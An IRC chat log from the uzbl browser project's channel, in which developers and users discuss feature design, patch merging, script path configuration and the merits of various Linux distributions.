09:44 < jaj> Tarballs can be pulled from github.com/Dieterbe/uzbl/downloads
09:44 < jaj> I didn't see that line, sorry...
09:46 < Dieterbe> just note that these tarballs are quite out of date
09:47 < jaj> It's just that not all packaging systems in the wild support pulling from git
09:49 < haste> sounds like they shouldn't be using uzbl yet then :)
09:52 < rob|_> morning.
09:52 < MichaelRaskin> Dieterbe, could you at least create a tag sometimes then?
09:53 < MichaelRaskin> Because github tagged tarballs work OK
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09:54 < MichaelRaskin> If you have expertimental->master merges, that seems to create good excuses for tags
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09:55 < Dieterbe> MichaelRaskin: yeah in fact, usually i do that. it's just that the last time i forgot
09:55 < Dieterbe> and the one before that was like 2 weeks older
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12:25 < madnificent> Dieterbe: is it possible to override the current content of the command from a script?  Can multiple scripts be executedfor one input?  It would be nice to have those features
12:26 < Dieterbe> yes and yes
12:26 < Dieterbe> both are documented in readme. look for keycmd and for chain
12:27 < madnificent> Dieterbe: oooh, sexy!  Then I might code what alice|wl wanted :)
12:28 < madnificent> oh, and how wise is it to use your experimental branch?
12:32 < Dieterbe> it shouldn't blow up your pc
12:39 < madnificent> Dieterbe: chaining is not exactly what I wanted.  I wanted some way to transparantly match everything the user entered in the bar, to be able to log it.  With chain, I'd need to chain each command...  This would in essence be a command like so: bind _ = sh "log-script %s" .  The script would only log the command (for future loading), but it would still allow other binds on the same input.  Apparantly defining a bind as * or as _ doesn't
12:39 < madnificent> let me log
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12:41 < scj> bind foo _ = chain 'spawn log.sh %s' '%s'
12:41 < scj> problem is, it segfaults
12:42 < madnificent> scj: that was not a response to my inquiry, right?
12:43 < scj> not really
12:48 < Dieterbe> madnificent: maybe we should just add a new hook then? like "command triggered"
12:50 < madnificent> Dieterbe: I don't grasp what you want to tell me, but I assume that will be it.  You could also opt for a script to decide to clear the command line.  That would imply that pressing enter doesn't remove the content from the command-line, but only forces the script to execute when a _ is used.
12:52 < Dieterbe> maybe we should just implement readline or something like that ;)
12:54 < madnificent> Dieterbe: throw in regexpses that are matched at each time.  Have some extension for the regexp to match \n (which means that a return has been pressed) and store whatever the user gave in multiple lines? (but don't show the newline in the status bar).  Just an idea
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12:56 < Dieterbe> we could do that, we don't even need regexes (we know when we want to execute a command, and we know if the user needed to press enter or not)
13:02 < madnificent> the regexp with newlines could allow for newlines to be needed on different places.  For instance: /find on google ([^,]*)[\n(,domain=\w+\.)]/  Which is a very bad example, but might still help to show what could be done with it.  Essentially allowing to match on any string, with any characters in it, seems handy to me.  The big bad part, is that some scripts will want to set the command-line with newlines in it, which would be a pita
13:02 < madnificent> (as commands are currently split by newlines only)
13:03 < Dieterbe> is there a use case for wanting newlines anywhere else then at the end?
13:03 < madnificent> ** that would allow you to enter "go find google I love uzbl" or "go find google wij houden van uzbl domain=be."  The latter not requiring a newline to be entered
13:03 < madnificent> the newline resembles the possibility of pressing enter
13:04 < madnificent> it could be handy to do incomplete searches
13:04 < Dieterbe> huh?
13:05 < Dieterbe> what purpose can it have, to use a newline in the middle of a command?
13:05 < madnificent> or splits in content, maybe...  I can't find a decent use case, but I have the feeling that someone somewhere will put it to good use... (perhaps not having it is good enough, you can always hack around it in the script)
13:06 < madnificent> it is essentially nothing more than a split, other characters can probably be used for it (so no, not really needed)
13:07 < Zaba> YAGNI
13:07 < Dieterbe> seems like a yagni indeed
13:08 < Zaba> if you can't find a decent usecase, it's yagni
13:08 < madnificent> luckily, supporting something can be more than need, it can be handy to have it without needing it
13:09 < madnificent> also, with all do respect, assuming something to be needed has got nothing to do with finding a use case yourself
13:09 < madnificent> though I indeed assume that we won't need it (was thinkering about it), I seriously despise that argument :P
13:09 < Zaba> why add a feature nobody will need?
13:10 < madnificent> Zaba: because they may use it... for instance: no one needed tabs in a browser, now many people do use them...  people didn't need to have a computer, now they do use it...
13:10 < Zaba> people invented a computer because they needed it
13:11 < madnificent> Zaba: the first hobby machines were not bought out of need, they were bought out of interest... something very different
13:11 < madnificent> people don't need a gaming console either, yet still they use it
13:11 < Zaba> whoa there, uzbl is not getting a gaming console integrated
13:11 < madnificent> Zaba: luckily! :D
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13:11 < Zaba> nor tabs
13:12 < Zaba> and making a change just because you feel like in 20 years someone might find it useful as an esoteric way to do something otherwise simple.. YAGNI
13:12 < Dieterbe> it's simple.  if we can't even find a theoretical use case, it's not gonna be implemented.
13:13 < madnificent> Zaba: examples to indicate my point.  (for the record: I agree that it may not be put to use, I simply didn't like the argument).
13:13 < Zaba> if you don't like the argument, you must be fine with premature optimization as well
13:13 < Dieterbe> madnificent: code is costly. every line brings a certain cost (complexity, maintainance work, documentation work, possible bugs, runtime overhead, ...)
13:14 < madnificent> Zaba: that has got nothing to do with it.  I agree that it shouldn't be there. But not needing something (in the sence that you can't find a use-case) is not the correct way to argue that it shouldn't.
13:14 < Dieterbe> madnificent: btw you might want to talk to DuClare about the statusbar things. DuClare wants to make the statusbar an external entity so much more things would be possible
13:14 < Zaba> no, it is correct
13:14 < Zaba> you add something because there is a need and the sanity check for bloatlessness succeed
13:15 < madnificent> Dieterbe: that would be nice
13:15  * Dieterbe afk for food
13:15 < madnificent> Zaba: if we would only add things that are explicitly needed, then there will be little innovation (this relates not only to uzbl)
13:16  * madnificent follows Dieterbe's incentive
13:16 < Zaba> madnificent, innovation is when you rethink things, it doesn't necessarily mean bringing a lot of new stuff in
13:16 < DuClare> Hmhm, what statusbar things have you discussed?
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13:17 < madnificent> DuClare: alice|wl asked for a history in it.  It would be nice if we could match commands (eg: by a regexp) and that those commands would not have one exclusive script to be executed (eg: there can be both a logging script that is executed and something useful)
13:19 < DuClare> Right
13:19 < madnificent> DuClare: also setting the content (manually resetting it and setting another value in it) would be cool (that would allow for external scripts to extend the command line with things like abbreviations for words, tab completion, ...)
13:19 < DuClare> You can already do that though
13:19 < DuClare> But the former..
13:20 < DuClare> Well, the sb we have sucks
13:20 < madnificent> sb?
13:20 < DuClare> Statusbar.
13:20 < madnificent> DuClare: but you are rebuilding it, so that issue will be gone soon?
13:20 < DuClare> I bet there are libs that could give us history, but there are other problems
13:20 < DuClare> madnificent: I'm not committed to rebuilding it
13:20 < madnificent> ah
13:21 < DuClare> Dieterbe, rob|: is there a specific reason for not using an input box provided by gtk+?
13:22 < Zaba> DuClare, I quite like the statusbar, it's so simple
13:22 < DuClare> Zaba: It also sucks
13:22 < Zaba> DuClare, well yes, but it's simple, it doesn't use no input boxes
13:23 < DuClare> It lacks text editing capabilities, it lacks history, it doesn't support IMEs
13:24 < Zaba> it has just enough text editing capabilities, and what's IME?
13:24 < DuClare> Input method editor/engine
13:24 < Zaba> heh
13:24 < alice|wl> coulnt it be like a bash terminal, with ctrl-r and stuff
13:25 < alice|wl> alt-.
13:25 < Zaba> DuClare, well, actually, having it a separate program that'd speak to uzbl through a socket would be nice
13:25 < Zaba> DuClare, one (like me!) could then keep a crappy version without text editing capabilities
13:25 < DuClare> Indeed
13:25 < Zaba> DuClare, it'd need bidirectional communication through sockets I believe
13:26 < alice|wl> but it still needs to react on keys if not in Insert mode
13:26 < Zaba> it'd need to be told by uzbl (or ask uzbl) about the mode, I guess...
13:28 < rob|> Zaba: bidirectional comm. already works, i guess dieter did just not pull in the changes yet
13:28 < Zaba> rob|, oh
13:29 < rob|> zaba: try:  uzblctrl -s socket -c 'print @status_format'
13:29 < Zaba> rob|, I'm running Dieterbe's experimental
13:30 < rob|> yeah, just try it not sure about the status of diet's experimental
13:31 < Zaba> it doesn't print nothing
13:32 < rob|> well, my master does include that feature (and a couple more) - github.com/robm/uzbl
13:32 < rob|> also, "i doesn't print nothing" means that it does print something, right? :P
13:32 < rob|> *it
13:33 < DuClare> Hi rob| *hug*
13:34 < rob|> hehe, hey duc
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13:43 < madnificent> I'm with Zaba on this one.  Send all input to another application and let that handle it.  Perhaps it would be good to have some system which we can 'wrap' pages in xml/html (which would allow for a user interface to be created on top of uzbl through an external script).
13:43 < madnificent> this might be jibberish
13:43 < Zaba> that would be ugh
13:43 < Zaba> uzbl is supposed to be _simple_
13:43 < Zaba> simple so anyone can understand why the hell a bug occurs.  Or at least, where it occurs.
13:44 < DuClare> Who says it's supposed to be simple?
13:44 < Zaba> Uzbl is a browser that adheres to the unix philosophy.
13:44 < alice|wl> I also thaught about something like a custom homepage to frame ubzl
13:45 < madnificent> I think it would be very simple... the status bar would just do what alice|wl says
13:45 < alice|wl> it could contain controll elements and a javascript command input :)
13:45 < Zaba> a statusbar would talk uzbl commands through the socket
13:46 < Zaba> DuClare, actually, I often use uzbl with statusbar not visible
13:46 < Zaba> I wonder what kind of an external statusbar app would make that possible without making things nasty
13:46 < madnificent> Zaba: me too, and I like the status bar, but it probably shouldn't be part of uzbl.  As it should be replacable with other status bars
13:47 < Zaba> I agree
13:47 < Zaba> but that has to be done properly, too
13:47 < Zaba> for one, you can't have both uzbl and the statusbar in focus at once: Who's going to accept input?
13:47 < madnificent> Zaba: any status bar could do that.  If it chooses not to display anything in its frame surrounding the html content.  The system for inserting etc should stay (in order to support textual input)
13:48 < Zaba> what the fuck's a frame surrounding html content
13:48 < madnificent> Zaba: didn't read your comment yet: so: keep the current modal system, and the problem is solved :)
13:48 < madnificent> Zaba: what alice|wl said
13:48 < Zaba> I don't want no frames wrapping html content
13:49 < madnificent> the term frame is probably a bad one, as it has a meaning in html already.  Just something similar to the current status bar.  Only: positionable through css, anywhere and through the external script
13:50 < Zaba> positionable through css? Wtf, I thought it'd be positionable through the window manager or something
13:50 < madnificent> Zaba: if the interface supports it (like the current statusbar), you could hide it through a single button if you'd wish
13:51 < madnificent> Zaba: what the hell?! you can't create a separate window for controlling the browser, that would be ugly
13:51 < Zaba> and hey, I want a workspace full of statusbars and then uzbl windows all over other workspaces ...?
13:51 < Zaba> no, rather, monitors, cause I got a multihead system that really manages a big bunch of screens all over the place?
13:52  * madnificent doesn't understand Zaba's insanity for the moment
13:52 < Zaba> actually, then, uzblctrl exists
13:52 < Zaba> one could write a similar but graphical tool for such needs
13:53 < alice|wl> set status_format     = <span style="position: absolute; top: 2px; left: 2px;" font_family="m ... doesnt work :)
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13:53 < madnificent> one should be able to embed the controls in the browser.  As it is a browser, the 'tool' to create the ui for it (like the status bar) would probably best be *ml + css
13:53 < Zaba> alice|wl, cause it's pango markup
13:53 < Zaba> alice|wl, not html
13:53 < Zaba> alice|wl, read the readme at least or something
13:54 < madnificent> alice|wl: sucky heh? :P (there is a link in the readme indeed)
13:54 < alice|wl> sucky?
13:54 < madnificent> bad
13:55 < madnificent> http://library.gnome.org/devel/pango/stable/PangoMarkupFormat.html << this is the one
13:55 < alice|wl> I know where the readme is :)
13:55 < alice|wl> didnt use pango yet
13:56 < Zaba> they probably used <span> just to confuse people
13:56 < alice|wl> didnt use your browser enough yet to be much more as a troll
13:56 < Zaba> alice|wl, then use it for a while
13:56 < alice|wl> but I realy like it
13:57 < alice|wl> I already made it default
13:58 < madnificent> here too.  It fits within stumpwm nicely.  Only would like the window manager to support tiling
14:00 < alice|wl> fluxbox here ... it has tabbing
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14:06 < Dieterbe>  rob|> Zaba: bidirectional comm. already works, i guess dieter did just not pull in the changes yet <-- that's correct. i still need to talk to the person who did that.  i have now a bit more strict patch policy and there were some things in the code i didn't like IIRC
14:09 < rob|> i see. i guess it was dxdx. i did pull it to my tree as i liked the possibility of having java script return values
14:09 < rob|> it did just fit perfectly with the expansion thing
14:09 < Dieterbe> indeed, dxdx :) haven't seen him online since then
14:14 < Dieterbe> i should probably send people some mails instead of waiting for them to show up on irc :P
14:14 < madnificent> Dieterbe: emails, the medium of the past
14:14 < madnificent> :P
14:16 < Dieterbe> rob|: did you see my mail about the "patch merging policy" ? did you like it? In your case, you probably just need to document your stuff in the readme to be mergeable
14:17 < rob|> yeah, saw it - seemed reasonable.
14:18 < rob|> well, as of now you can't have my changes without the ones from dxdx
14:18 < Dieterbe> oh now i remember.
14:19 < rob|> at least i did fix all conflicts with his patch
14:19 < MichaelRaskin> Is there any single working example of chained command binding?
14:19 < Dieterbe> when i diffed dxdx code against mine, the diff was quite big. lots of good changes, but also lots of unneeded changes (like repositioning of some things in uzbl.h)
14:19 < MichaelRaskin> Preferably including "js" command
14:19 < DuClare> http://imgur.com/gQouk.jpg
14:19 < MichaelRaskin> Working means working without sigsegv
14:20 < Dieterbe> lol DuClare 
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14:30 < Dieterbe> rob|: so what do you think our plan should be now? is your code now pretty much ready for merging in or are you in the middle of something? would you mind documenting your stuff (and maybe the bit from dxdx as well?).  once i pulled from you, I could give the "deprecate gscanner in favor of your stuff" a shot
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14:33 < MichaelRaskin> Dieterbe, what about renaming some hooks? For example history hook is actually more of an onload hook. So it would benefit from renaming to "onload" or something. At least I am using it for userscript execution..
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14:35 < Dieterbe> MichaelRaskin: yeah indeed. we could use more hooks, and some old handlers could use more generic hooks. except for example the cookie handler, which is really specific because we need it's output
14:43 < MichaelRaskin> What is the recommended method of exchanging scripts for uzbl?
14:43 < Zaba> wiki, I guess?
14:43 < Dieterbe> yep
14:44 < madnificent> MichaelRaskin: I prefer to use grafiti on walls in the city here, but I don't think it has had much effect.  Perhaps a more digital form would be prefered
14:44 < Zaba> madnificent, try buses
14:44 < MichaelRaskin> OK, thanks. Just wanted to be sure I am not missing some mailing list or a repository
14:44 < madnificent> Zaba: thanks!
14:44 < Zaba> madnificent, trains, too
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15:40 < rob|> Dieterbe: yeah, the code is ready for merging. the only missing bits are to integrate it with the actions and the gscanner replacement you mentioned. but this can be/should be done after the merge
15:41 < rob|> i will do the documentation part soon
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15:45 < Dieterbe> ok cool
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16:09 < rob|> Dieterbe: http://github.com/robm/uzbl/commit/609522b54d32af1df708c449eed1607f5d884ea8
16:10 < Dieterbe> you can constructs strings <-- typo :P
16:12 < rob|> yeah, there is one more 'withing'
16:13 < Dieterbe> rob|: if you have a few more elaborate examples, feel free to add them there as well. especially if they demonstrate multiple escaping to trigger the exanpsion at a certain "level"
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16:15 < Dieterbe> rob|: also, wasn't it possible for users to create custom variables as well? if so, please document :)
16:15 < rob|> no, not yet
16:16 < rob|> let's first adapt to the expansion. after that i'll add custom vars
16:16 < rob|> not sure if we really need them, though
16:16 < Dieterbe> yeah, true
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17:06 < Dieterbe> rob|: will you be online now+2/3hours?
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17:32 < alice|wl> *** NSPlugin Wrapper *** ERROR: failed to execute NSPlugin viewer
17:32 < alice|wl> I think I dont deen npviewer, flash is working fine also ... is there a setting for this?
17:33 < Zaba> heh
17:33 < Zaba> setting for what
17:34 < alice|wl> not using npviewer, perhaps
17:34 < Zaba> go around and remove the plugins nspluginwrapper created, perhaps
17:34 < Zaba> if you don't need them anymore
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17:41 < alice|wl> I m also not using nspluginwrapper
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17:53 < DuClare> rob|: I think we will (need) custom vars
17:53 < rob|> DuClare: do we?
17:54 < DuClare> The idea was to make it easy to, say, update parts of the sb on various events without having to rewrite the whole variable every time
17:54 < DuClare> You could just update a relevant custom var, which will then be expanded..
17:54 < DuClare> I don't know
17:54 < DuClare> But it sounds somewhat handy
17:54 < DuClare> :x
17:55 < DuClare> Of course it all can be done via external scripts and files ..
17:56 < rob|> hmm, yeah. shouldn't be too much hassle to add custom vars, in fact we already have almost everything needed..
17:56 < DuClare> Indeed
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19:48 < Dieterbe> re
19:54 < Dieterbe> rob|: does that new makefile work for you?
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20:05 < Dieterbe> dxdx: i was just typing a PM to you on github :P
20:08 < Dieterbe> brb
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20:39 < dxdx> Dieterbe: and that PM said..?
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21:08 < Dieterbe> dxdx: wait hold on i need to finish it :P
21:11 < Dieterbe> dxdx: sent :)
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21:27 < hejki> good tidings
21:27 < Dieterbe> hi
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21:31 < hejki> any ideas how do i tell a certain address to use a proxy? other addresses doesn't use any proxies
21:32 < hejki> i was thinking of making a bind to toggle proxy_url, but that seems a bit harsh :)
21:32 < Dieterbe> that's what i would do
21:33 < hejki> mm.. would it be possible to make if statement into the example bookmark-script? :o
21:33 < dxdx> Dieterbe: heh, i knew i didn't have to move those functions. anyway, they were all commands with a changed parameter, the diff size would be the same
21:34 < Dieterbe> dxdx: it's just, it takes me minutes to figure out what exactly changed. not very productive.  and it's not just me who'll be looking at the diff
21:34 < dxdx> oh, i see
21:36 < dxdx> about documentation, i'd love to fill my code with comments, but should i use any specific syntax?
21:36 < Dieterbe> it's not so much about code documentation (though it's definitely welcome too). it's more about documentation to the enduser
21:38 < dxdx> hmm, yes, end user docs need some love
21:39 < hejki> hmm.. how do i unset proxy? proxy_url=""? :>
21:39 < uranther> hejki, comment the line out
21:40 < hejki> uranther: while uzbl is running?
21:40 < hejki> :<
21:40 < uranther> :S
21:40 < Dieterbe> uranther: unset != don't set
21:40 < uranther> you can try, set proxy_url =
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21:44 < hejki> uranther: ahh.. it works :)
21:45 < dxdx> Dieterbe: what's the best way to clean that diff? i've thought about starting a new branch from scratch (without makefile/stdin stuff), and doing each commit again without the unwanted changes
21:46 < Dieterbe> dxdx: git fetch dieter, git diff dieter/experimental, and then rearrange your uzbl.h so that `git diff dieter/experimental` only shows the "real" stuff
21:47 < uranther> Dieterbe, when i try to do git diff Dieterbe/experimental it never works :( I think it's cuz I don't have listed in git branch -a
21:47 < dxdx> Dieterbe: oh, i've thought the individual commits would appear in your history
21:48 < Dieterbe> uranther: git remote add -f dieter <url to my github>
21:49 < Dieterbe> uranther: typo `git remote`, am i in there? if not, do the above command to add me
21:49 < uranther> h/o lemme boot my VM
21:49 < Dieterbe> dxdx: yeah they do. i'm not such a nitpicker yet to demand all commits to be clean :P for now i just want clean merges ;)
21:50 < Dieterbe> dxdx: it would be too much effort right now for you to do "redo it all, but cleanly this time"
21:50 < Dieterbe> dxdx: so in the future it's good if you can do it better, but for now.. just do the things i asked :)
21:52 < uranther> Dieterbe, yeah I have you as a remote in git, but I think when i did git remote add, I didn't use the -f flag
21:52 < uranther> nvm that just fetches
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22:06 < dxdx> Dieterbe: http://github.com/dequis/uzbl/commits/makefile/
22:07 < dxdx> yes, it does include phrakture's patches, at least those in your experimental
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22:29 < dxdx> Dieterbe: ok, done
22:29 < dxdx> there's experimental with the socket/return value/javascriptcore stuff http://github.com/dequis/uzbl/commits/experimental/
22:30 < dxdx> and there's "stdin" and "makefile" with those unrelated changes
22:30 < Dieterbe> dxdx: i have to sleep now. i'll look at it tomorrow
22:31 < dxdx> ok
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02:14 < lazzareth_> Hey #uzbl.
02:14 < lazzareth_> I am having trouble getting uzbl to find my scripts folder
02:14 < lazzareth_> error on run_command: Failed to execute child process "$XDG_DATA_HOME/uzbl/scripts/history.sh" (No such file or directory)
02:15 < lazzareth_> I've copied over "cp /usr/share/uzbl/examples/data/uzbl/scripts ~/.config/uzbl/scripts -R" and I am still getting those error messages
02:15 < lazzareth_> My config that I copied over from "cp /usr/share/uzbl/examples/config/uzbl/config ~/.config/uzbl/config" works so I don't see why the scripts folder in the same directory isnt working.
02:18 < BetterLeftUnsaid> lazzareth_: For me, $XDG_DATA_HOME is in ~/.local/share/ ... maybe your $XDG_DATA_HOME isn't ~/.config?
02:19 < lazzareth_> Ohhh.
02:20 < lazzareth_> Ah, still a problem. moving the folder to ~/.local/share/uzbl/config still doesnt work.
02:20 < lazzareth_> Is there a way i can find the value of $XDG_DATA_HOME ?
02:20 < BetterLeftUnsaid> echo %XDG_DATA_HOME
02:21 < BetterLeftUnsaid> Except, $XDG_DATA_HOME, not %
02:21 < lazzareth_> I get a blank
02:22 < BetterLeftUnsaid> I think you need to be using ~/.local/share/uzbl and not ~/.local/share/uzbl/config
02:22 < lazzareth_> It is already ~/.local/share/uzbl/scripts
02:23 < lazzareth_> I think my problem is that $XDG_DATA_HOME isn't set
02:23 < BetterLeftUnsaid> Sounds like it
02:23 < lazzareth_> Where is the best place? /etc/bash.profile ?
02:23 < lazzareth_> or ~/.bashrc
02:24 < BetterLeftUnsaid> I dunno, I've never had to manaually set it
02:25 < lazzareth_> The only $'s I do have set are $XDG_DATA_DIRS and $XDG_CONFIG_DIRS
02:28 < lazzareth_> Actually I just found something interesting
02:28 < lazzareth_> The packages x11-misc/xdg-user-dirs & x11-misc/xdg-user-dirs-gtk in portage
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04:00 < joyfulgirl> I've been trying out uzbl today, and I've got to say I'm very impressed
04:19 < alice|wl> I had to set XDG_PATH absolute to make it work
04:19 < alice|wl> while .config worked by default
04:20 < alice|wl> its event starting to get populated by oter apps already ... thats funny
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08:23 < hejki> lazzareth: i just did sed -i -e 's/XDG_DATA_HOME/XDG_CONFIG_HOME/g' * in ~/.config/uzbl/scripts/ :)
08:28 < lazzareth> hejki, Genus.
08:28 < lazzareth> .. lol.
08:28 < lazzareth> Genius
08:29 < lazzareth> My works around was putting "export XDG_DATA_HOME='/home/mason/.local/share'" in my ~/.bash_profile
08:29 < lazzareth> 'workaround.
08:29  * lazzareth has cold fingers. 
08:30 < lazzareth> How do I print via command line a current users home directory?
08:31 < lazzareth> correction: the current users home directory
08:33 < lazzareth> Here we go: export XDG_DATA_HOME=`pwd`'/.local/share'
08:35 < lazzareth> Mmm, the problem with that is unless uzbl is launched via command line $XDG_DATA_HOME isnt exported
08:35 < lazzareth> hejki, You win :)
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09:04 < lazzareth> is there a way to set something like "set uzbl_data_path = /home/username/.local/share" then use that in my bind commands (I.e. bind B = spawn uzbl_data_path + '/uzbl/scripts/insert_bookmark.sh' ?
09:04 < lazzareth> When I tried that I got "could not find path "uzbl_data_path+/uzbl/scripts/insert_bookmark.sh"
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09:29 < Dieterbe> lazzareth: actually, that will soon be possible (setting custom variables)
09:29 < Dieterbe> rob|_ is on that
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09:29 < rob|> morning.
09:30 < Dieterbe> hi robman
09:37 < Dieterbe> lazzareth: note that $HOME already expands
09:37 < Dieterbe> lazzareth: so you could do $HOME/.uzbl/scripts if you don't like xdg
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09:40 < lazzareth> Dieterbe, Nice, thanks.
09:50 < hejki> heh.. xdg is actually nice :)
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10:27 < lazzareth> Dieterbe, I've send you a pull request fixing an error I found in cookies.py
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10:27 < lazzareth> (My first ever time pushing or branching in git, let alone working with github. So I hope I did everything correctly)
10:28 < Dieterbe> lazzareth: thanks, i'll check it out tonight
10:29 < lazzareth> No problem. I created my own local experimental branch was that supposed to be "bar/experimental" though?
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10:30 < Dieterbe> nope
10:31 < lazzareth> Phew, thats a relief. I didn't know if it would complicate things if I accidentally miss-named my working branch.
10:32 < lazzareth> hejki, Except when you don't have a XDA_DATA_HOME :P
10:32 < hejki> lazzareth: ;:P
10:33 < lazzareth> Because I'm using Gentoo it's been a whole world of hurt this-afternoon trying to work around it.
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10:36 < pwlz> Hello
10:36 < pwlz> How to bind action to space in uzbl config?
10:38 < Dieterbe> not possible
10:38 < Dieterbe> (yet)
10:38 < pwlz> ok ;) thanks
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10:56 < lazzareth> Are gists githubs pastebin-like service?
10:57 < mxey> lazzareth: yes
10:58 < lazzareth> nice :)
10:58 < mxey> But with more JavaScript.
10:58  * mxey prefers sprunge
10:59 < hejki> pwlz: make space output something other than whitespace, and bind that key :)
10:59 < hejki> pwlz: it might do harm for other uses, but hell, at least it works with uzbl! :D
11:01 < Dieterbe> it would be uzbl in uzbl but unuzbl in apps other then uzbl
11:01 < lazzareth> Is it normal to see little "arrows" around submit buttons in uzbl?
11:01 < lazzareth> Well any input button type.
11:02 < lazzareth> And drop-down boxes.
11:02 < pwlz> hejki: it would be unuzbl in uzbl too ;) Sometimes I have to type space in some input box ;)
11:03 < hejki> pwlz: :D
11:03 < Dieterbe> pwlz: that's what we have insert mode and modkeys for
11:03 < Dieterbe> lazzareth: no idea what you mean
11:04 < lazzareth> Dieterbe, I anticipated as much, I've upload a screenshot http://imgur.com/m51W8.png
11:05 < Dieterbe> lazzareth: that's odd. maybe your gtk theme does this?
11:06 < lazzareth> Nope, Im using a normal stock-standard gtk theme (inverted I think).
11:06 < lazzareth> And I don't see it in any other browser (Opera, Firefox, Epiphany, ...)
11:07 < lazzareth> Its worth remembering I am on Gentoo so that might be a contributing factor.
11:07 < lazzareth> The majority of uzbl users are on Arch aren't they?
11:08 < Dieterbe> i don't think so
11:08 < hejki> hmm.. i guess that could be reversed as: majority of arch users are so technically aligned and understand the basic principles of *nix and thus use uzbl
11:08 < hejki> :)
11:15 < Dieterbe> hejki: don't be fooled. there are plenty of people who use arch and like to use things like gnome, kde, gconf and such
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11:53 < hejki> Dieterbe: mm.. you might be right. but then lazzareth was prolly right :)
11:56 < DuClare> I think a number of arch users are around because of the forums & early availability via AUR
11:57 < lazzareth> I have never see any linux wiki or forum better than Arch'es.
11:57 < Dieterbe> gentoo wiki !
11:58 < lazzareth> Is Arch'es a valid contraction?
11:58 < MichaelRaskin> I think Debian Lenny + Gentoo packages beat AUR availability
11:58 < lazzareth> Dieterbe, The old one yes, but they still haven't recovered after the crash a year ago.
11:58 < MichaelRaskin> In terms of user count
11:58 < DuClare> MichaelRaskin: I was talking about the uzbl (and deps) packages, specifically
11:59 < Dieterbe> yeah, by now plenty non-arch people have discovered uzbl. i don't think the share of arch people is still that big
11:59 < MichaelRaskin> There are Gentoo and Debian uzbl packages
12:00 < lazzareth> I could 13671 packages in my portage tree (with one active overlay included)
12:00 < lazzareth> 'I mean I count
12:00 < DuClare> MichaelRaskin: By now, yes
12:00 < DuClare> MichaelRaskin: But arch had them before..
12:01 < hejki> MichaelRaskin: on debian most software is dated back when dinosaurs roamed the planet, otherwise it's good
12:02 < MichaelRaskin> hejki, I used sid for some time..
12:02 < MichaelRaskin> It's not outdated
12:03 < hejki> MichaelRaskin: using sid isn't considered using debian imo. it's more like having everything almost up to date, but nothing working ok together :)
12:03 < MichaelRaskin> hejki, I don't know even testing is not outdated
12:03 < hejki> MichaelRaskin: in sid things seem to break easily and you'll usually have to wait long for updates :>
12:03 < MichaelRaskin> Sid works OK together, only apt is broken
12:04 < MichaelRaskin> Because proposing to upgrade glibc, deinstall libX11 and _not_ install the new libX11 version is a greater prank than any yum quirks.
12:04 < hejki> MichaelRaskin: don't even talk about non-cooperative package managers like apt and yum :)
12:05 < hejki> MichaelRaskin: another great reason to use arch
12:05 < MichaelRaskin> But "magic Ctrl-c" ruin both dpkg and rpm package database
12:05 < hejki> MichaelRaskin: and compared to gentoo, well arch is just more usable - unless you like watching text scrolling from hour to another
12:05 < MichaelRaskin> hejki, can you use 3 different glibc version at the same time if you really want to?
12:05 < MichaelRaskin> In Arch?
12:05 < hejki> MichaelRaskin: dunno, i'm fine with only one
12:06 < MichaelRaskin> hejki, what if some package  asks for 2.5?
12:06 < hejki> MichaelRaskin: i want to configure and use my computer, not to hit my head into a brickwall everytime i try to update a single package
12:06 < MichaelRaskin> hejki, me too
12:06 < MichaelRaskin> So I use Nix
12:07 < MichaelRaskin> And I _can_ install three different glibc/elfutils/whatever versions if at once there is any reason to do it
12:07 < MichaelRaskin> There often is..
12:07 < hejki> well i haven't ran into such situation yet
12:07 < DuClare> I'm mostly content with Gentoo
12:08 < lazzareth> Same here, and mainly for the reason MichaelRaskin points out.
12:08 < MichaelRaskin> I tried Gentoo long ago. Was scared away by its initscript system
12:08 < hejki> maybe it's the fact that i'm using such a small variety of software that never leads me of having version mismatches :)
12:08 < lazzareth> Some versions of some applications are pure and simply unstable. I would love Arch if it supported and kept track of at least 2 or 3 stable application versions.
12:09 < lazzareth> That is my only Arch criticism.
12:09 < lazzareth> (That I remember :P)
12:09 < hejki> lazzareth: well since arch is binary packages, you can keep the old versions yourself (since you did build them via ABS) and just install the version you need :)
12:10 < MichaelRaskin> hejki, that's exactly what I need - to keep plugging different versions manually instead of having them all deployed
12:10 < hejki> MichaelRaskin: well i guess it would be possible in arch, as long as you have the .pkg.tar.gz files of all the versions you're using
12:11 < hejki> MichaelRaskin: then you just use pacman to update/roll back to previous version
12:11 < Dieterbe> you can use arch as source based distro too. though maybe you'll have to write some new scripts
12:11 < MichaelRaskin> hejki, I sometimes have simultaneously launched FF3 and FF3.5
12:11 < hejki> Dieterbe: or use ABS completely
12:11 < MichaelRaskin> How would I do it in your scheme??
12:11 < lazzareth> No hostility intended, Arch and Gentoo are my two favorite distributions I've ever used but what you suggest isn't an option for someone with a clean install.
12:12 < hejki> MichaelRaskin: hmm.. you could make them under different names (binary and package -wise)
12:12 < hejki> MichaelRaskin: like firefox and firefox-3.5
12:12 < hejki> MichaelRaskin: you can customize the names etc in the PKGBUILD that defines how the package is built
12:12 < hejki> MichaelRaskin: dependencies are also customizable
12:13 < Dieterbe> hejki: abs is not a tool to maintain a whole system
12:13 < hejki> and i haven't yet got pacman broken even tho i had 2 different wines running
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12:13 < hejki> Dieterbe: well not, but it's a nice way of building apps
12:13 < hejki> Dieterbe: dunno how make arch src-based fully tho. no need for it :)
12:15 < DuClare> I'm likely to switch to exherbo sometime, though
12:15 < Dieterbe> yeah exherbo is nice. it contains lots of fancy things that are well thought out, _but_ it's definitely not "KISS" like arch anymore
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12:26 < hejki> exherbo looks nice :)
12:29 < hejki> it's just weird that even these KISS/"For ppl who know what they do" -distros offer gnome and kde from repos :)
12:29 < Phillemann> Why shouldn't they?
12:30 < haste> arch is too KISS imo
12:30 < haste> but I'm also known to not be sane
12:30 < Zaba> yeah, very KISS, shipping X with hal and everything
12:30 < Zaba> that's stupid without simple
12:31 < haste> how is it shipping anything?
12:31 < Zaba> exherbo is ran by egomaniacs and hatred towards gentoo, that's not how you make a decent distro
12:31 < haste> the applications are fetched based on what use flags you have
12:31 < haste> but gentoo is dying!
12:31 < MichaelRaskin> Shipping X with HAL seems to be too much easier than without
12:31  * haste is fueling the fire.
12:32 < Zaba> MichaelRaskin, there is a compile-time option for disabling it
12:32 < Zaba> then it works just as it did before
12:32 < haste> and you compile it yourself
12:32 < haste> so how are they shipping it with hal :p ?
12:32 < Zaba> that's _very_ hard, especially for arch, which claims to be simple.
12:32 < hejki> hotplugging keyboards doesn't work without hal :<
12:32 < Zaba> and hal is downright complication without a benefit
12:32 < haste> and is uses XML :*
12:32 < haste> which is a failied configuration language
